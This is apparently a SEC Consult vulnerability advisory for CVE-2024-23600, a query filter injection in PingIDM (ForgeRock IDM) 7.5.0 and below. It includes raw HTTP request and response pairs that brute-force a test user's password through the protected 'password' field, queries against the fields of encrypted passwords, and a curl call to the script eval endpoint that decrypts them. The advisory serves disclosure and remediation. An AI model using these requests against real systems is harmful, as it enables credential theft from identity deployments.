Vendor description
"ForgeRock Identity Management (IDM) software provides centralized, simple management and synchronization of identities for users, devices, and things. IDM software is highly flexible and therefore able to fit almost any use case and workflow."
Source: backstage.forgerock.com/docs/idm/7.5/release-notes/preface.html
"The combination of Ping Identity and ForgeRock is ushering in a very exciting time in the identity market. Together, our market-leading identity services will deliver more choice, unparalleled expertise, and a more complete identity solution for our customers and partners. We're incredibly excited to welcome you all to the future of identity."
Source: www.pingidentity.com/en/lp/pingandforgerock.html
Business recommendation
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Query Filter Injection (CVE-2024-23600)
Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions 7.5.0 and below, enabled an attacker with read access to the "User" collection, to abuse API query filters in order to obtain managed and/or internal user's passwords in either plaintext or encrypted variants, based on configuration. The API clearly prevents the password in either plaintext or encrypted to be retrieved by any other means, as this field is set as protected under the "User" object.
However, by injecting a malicious query filter, using "password" as the field to be filtered, an attacker can perform a blind brute-force on any victim's user password details (encrypted object or plaintext string).
This blind brute-force can be very efficiently conducted since the query filtering supported by the PingIDM API supports versatile operators such as Starts-With ('sw') or Contains ('co') etc. The sole limitation in this approach is case-insensitivity in the above-described filters adding an additional guessing overhead.
The issue potentially extends to all protected fields of custom or built-in collections, but this remains to be tested.
Proof of concept
1) Query Filter Injection (CVE-2024-23600)
Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.
PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwords
In the vulnerable instance running in this example (version 7.3.0), SEC Consult created a test user with the following credentials: `secUser1:aAqQ1234!`. A benign query filter in PingIDM can be crafted from the administrative UI to filter, for example, users by their username (the password field is not presented as available for filtering in the UI):
HTTP Request
GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]
Accept-Api-Version: resource=1.0
Accept: application/json
Referer: https:// $HOST/api/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP Response
HTTP/2 200 OK
Date: Wed, 10 Apr 2024 13:05:13 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 534
Cache-Control: no-store
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Expires: 0
Pragma: no-cache
Set-Cookie: session-jwt=[redacted]
Path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9
{
"result": [
{
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",
"userName": "secUser1",
"accountStatus": "active",
"postalCode": "8046",
"stateProvince": "ZH",
"postalAddress": "Flurstrasse",
"description": "Pentest User 1",
"country": "CH",
"city": "Zurich",
"givenName": "SEC",
"sn": "Consult",
"mail": "secuser1@sec-consult.com",
"preferences": {
"updates": true,
"marketing": false
}
}
],
"resultCount": 1,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
Note in the request/response pair above, that the query filter sent over the presented API request was used to query all users with 'userName' starting ('sw') with the string "sec". As expected the test user 'secUser1' was returned. In addition, observe that the password field is never to be returned in any form (plaintext or encrypted) by the API.
Despite not being available for filtering in either the UI or API documentation, the 'password' field can be used instead of 'userName' in the example above to query users based on their password. In case the PingIDM instance has been configured to store user passwords persistently in plaintext, it can be queried directly as shown in the request below:
HTTP Request
GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]
Accept-Api-Version: resource=1.0
Accept: application/json
Referer: https:// $HOST/api/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP Response
HTTP/2 200 OK
Date: Wed, 10 Apr 2024 13:07:17 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 534
Cache-Control: no-store
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Expires: 0
Pragma: no-cache
Set-Cookie: session-jwt=[redacted]
Path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9
{
"result": [
{
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",
"userName": "secUser1",
"accountStatus": "active",
"postalCode": "8046",
"stateProvince": "ZH",
"postalAddress": "Flurstrasse",
"description": "Pentest User 1",
"country": "CH",
"city": "Zurich",
"givenName": "SEC",
"sn": "Consult",
"mail": "secuser1@sec-consult.com",
"preferences": {
"updates": true,
"marketing": false
}
}
],
"resultCount": 1,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
As it can be noticed in the request above, all users with a password starting with 'a' (case insensitive) were queried and as expected, user 'secUser1' with password 'aAqQ1234!' was returned. For an additional sanity check, SEC Consult next queried all users with password starting with 'aR'. Since no users are to be found in the deployed instance with a matching password, no entries are returned as it can be seen below:
HTTP Request
GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]
Accept-Api-Version: resource=1.0
Accept: application/json
Referer: https:// $HOST/api/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP Response
HTTP/2 200 OK
Date: Wed, 10 Apr 2024 13:08:01 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 138
Cache-Control: no-store
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Expires: 0
Pragma: no-cache
Set-Cookie: session-jwt=[redacted]
Path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9
{
"result": [],
"resultCount": 0,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
However, if the attacker correctly guesses the second letter of the password, e.g., by querying for passwords starting with 'aA', we observe that the same user is returned as before:
HTTP Request
GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]
Accept-Api-Version: resource=1.0
Accept: application/json
Referer: https:// $HOST/api/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
HTTP Response
HTTP/2 200 OK
Date: Wed, 10 Apr 2024 13:09:25 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 534
Cache-Control: no-store
Content-Security-Policy: default-src 'none';frame-ancestors 'none';sandbox
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Expires: 0
Pragma: no-cache
Set-Cookie: session-jwt=[redacted]
Path=/; HttpOnly
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9
{
"result": [
{
"_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",
"_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",
"userName": "secUser1",
"accountStatus": "active",
"postalCode": "8046",
"stateProvince": "ZH",
"postalAddress": "Flurstrasse",
"description": "Pentest User 1",
"country": "CH",
"city": "Zurich",
"givenName": "SEC",
"sn": "Consult",
"mail": "secuser1@sec-consult.com",
"preferences": {
"updates": true,
"marketing": false
}
}
],
"resultCount": 1,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
This indicates that an attacker can efficiently brute-force users' passwords.
PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwords
PingIDM by default stores a user's password encrypted symmetrically using a private key that is created upon the first startup of the platform and is stored in the application key-store under '{installation-path}/security/keystore.jceks'. The encrypted password is represented by an object rather than a string. An example of an encrypted password JSON object is shown below:
"username" : "anonymous",
"password" : {
"$crypto" : {
"type" : "x-simple-encryption",
"value" : {
"cipher" : "AES/CBC/PKCS5Padding",
"stableId" : "openidm-sym-default",
"salt" : "9fwdc+Vp1LxDno0YC6bXAA==",
"data" : "JtFAY+EupwCSLbH06d5OPA==",
"keySize" : 16,
"purpose" : "idm.config.encryption",
"iv" : "Aaek9zviMgZVz/fvOOobIQ==",
"mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="
}
}
},
While at first glance this object structure seems to break the query filter injection from the previous example, it was found that all encrypted password fields can be queried in the exact same way using the '_queryFilter' GET parameter, and by fully specifying their path within the JSON object, for example:
GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"
The above request can be modified to include all other fields such as cipher, salt, data, iv, mac, etc. Obtaining a cleartext password in this example, would be clearly more challenging, as it would entirely depend on the security of the encryption key utilized. However, under certain circumstances (subject to user permissions), users in PingIDM can use the REST API to decrypt encrypted objects without the need for the key, as shown in the documentation:
curl \
--header "X-OpenIDM-Username: openidm-admin" \
--header "X-OpenIDM-Password: openidm-admin" \
--header "Content-Type: application/json" \
--cacert ca-cert.pem \
--request POST \
--data '{
"type": "text/javascript",
"globals": {
"val": {
"$crypto": {
"type": "x-simple-encryption",
"value": {
"cipher": "AES/CBC/PKCS5Padding",
"stableId": "openidm-sym-default",
"salt": "qAS/eG7zdnFyK5H8lXvqTA==",
"data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",
"keySize": 16,
"purpose": "idm.password.encryption",
"iv": "A4pIiY6kG6t0uLyLmJAoWQ==",
"mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="
}
}
}
},
"source":"openidm.decrypt(val);"
}' \
"https:// $HOST/openidm/script?_action=eval"
{
"myKey": "myPassword"
}
Source: backstage.forgerock.com/docs/idm/7/security-guide/keystore-encrypt-decrypt.html
Vulnerable / tested versions
The following versions have been tested which were the latest version available at the time of the test:
- 7.3.0
- 7.5.0
The vendor communicated the following affected versions:
- 7.0.0 - 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)